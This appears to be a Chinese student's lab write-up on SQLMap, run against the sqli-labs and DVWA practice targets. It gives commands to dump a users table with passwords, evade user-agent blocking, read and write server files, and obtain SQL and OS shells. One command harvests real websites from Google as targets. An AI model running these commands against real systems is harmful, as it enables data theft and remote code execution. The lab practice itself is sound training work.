练习11
Abstract: SQLMap的应用,使用sqli-labs 和 dvwa 作为实验平台。
Table of Contents
- 用 SQLMap 查看数据库
- 查看 security 库中的表
- 查看 users 表中所有的字段名
- 查看 security.users 表中的内容
- 使用 method 和 POST 参数
- 使用 cookie
- 使用 user-agent
- sqlmap 读文件
- sqlmap 写文件
- sqlmap 执行 sql语句
- sqlmap -g
- sqlmap -r
- sqlmap --os-shell
用 SQLMap 查看数据库
1 | sqlmap -u "http://192.168.100.119/sqli-labs/Less-8/?id=1" --dbs |

得出结果:

查看 security 库中的表
1 | sqlmap -u "http://192.168.100.119/sqli-labs/Less-8/?id=1" -D security --tables |
得出结果:

查看 users 表中所有的字段名
1 | sqlmap -u "http://192.168.100.119/sqli-labs/Less-8/?id=1" -D security -T users --columns |
得出结果:

查看 security.users 表中的内容
1 | sqlmap -u "http://192.168.100.119/sqli-labs/Less-8/?id=1" -D security -T users -C id,password,username --dump |
得出结果:

使用 method 和 POST 参数
1 | sqlmap -u "http://192.168.100.119/sqli-labs/Less-11/" --method="post" --data="uname=admin&passwd=admin" --dbs |
得到结果:

使用 cookie
在 /sqli-labs/Less-11 中,由于只涉及登录功能,没有登录以后的操作,所以用 --cookie 无法抓取相应数据。 故使用 dvwa 测试。
登录账号,查看 cookie

1 | sqlmap -u "http://192.168.100.119/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=ar14vrf1ie0kc399hgpmqc1fd2" --dbs |
得到结果:




使用 user-agent
打开 /sqli-labs/Less-1 中的 index.php ,添加如下程序。

即当程序检测到 user-agent 值为 bp 时,直接退出程序。
1 | sqlmap -u "http://192.168.100.119/sqli-labs/Less-1/?id=1" --user-agent="bp" --dbs |

1 | sqlmap -u "http://192.168.100.119/sqli-labs/Less-1/?id=1" --user-agent="sqlmap" --dbs |


把添加的语句删除,保存退出,重新用 sqlmap 尝试读取数据库信息


爬取数据库成功,由此可见,命令行设置 --user-agent是起到一定作用, 有些网站通过对 user-agent参数的检测,达到对 SQLMap 的屏蔽。
注意:每次完成后,记住对 /sqlmap/output/ 文件夹下对应目录的清理。
另一种方法是设置代理用 burpsuite 抓包
1 | sqlmap -u "http://192.168.100.52/sqli-labs/Less-3/?id=1" --user-agent="burpsuite" --proxy="http://127.0.0.1:8080" |
打开 burpsuite 抓取 sqlmap 数据包


可以看到 user-agent 变为我们设置的值了。
sqlmap 读文件
1 | sqlmap -u "http://192.168.100.52/sqli-labs/Less-1/?id=1" --file-read="/var/www/html/sqli-labs/index.html" |



点击查看读取的文件

打开文件

sqlmap 写文件
在本地新建 hack.php 文件,
1 | sqlmap -u "http://192.168.100.52/sqli-labs/Less-1/?id=1" --file-write="hack.php" --file-dest="/var/myfile/hack.php" -v 5 |
在服务器中查看

sqlmap 执行 sql语句
1 | sqlmap -u "http://192.168.100.52/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=ri8va1c84en9d40b7l1o1lle53" --sql-shell |
然后执行
1 | select @@datadir; |


sqlmap -g
1 | sqlmap -g "inurl:?id=1" |

sqlmap -r
打开 burpsuite 抓包,

把 Request 里面的内容,复制粘贴到 less12.txt 中,打开 sqlmap
1 | sqlmap -r less12.txt |


sqlmap --os-shell
1 | sqlmap -u "http://192.168.100.119/sqli-labs/Less-1/?id=1" --os-shell |
用 sqli-labs 和 dvwa 都会提示

尝试了 Window 和 CentOS 系统,还是失败。在网上搜到参考文章,照着修改权限,依然没有成功。
参考文章
最后
在虚拟机中把,html 文件夹权限修改
1 | cd /var/www/ |
1 | sqlmap -u "http://192.168.100.52/sqli-labs/Less-3/?id=1" --os-shell |

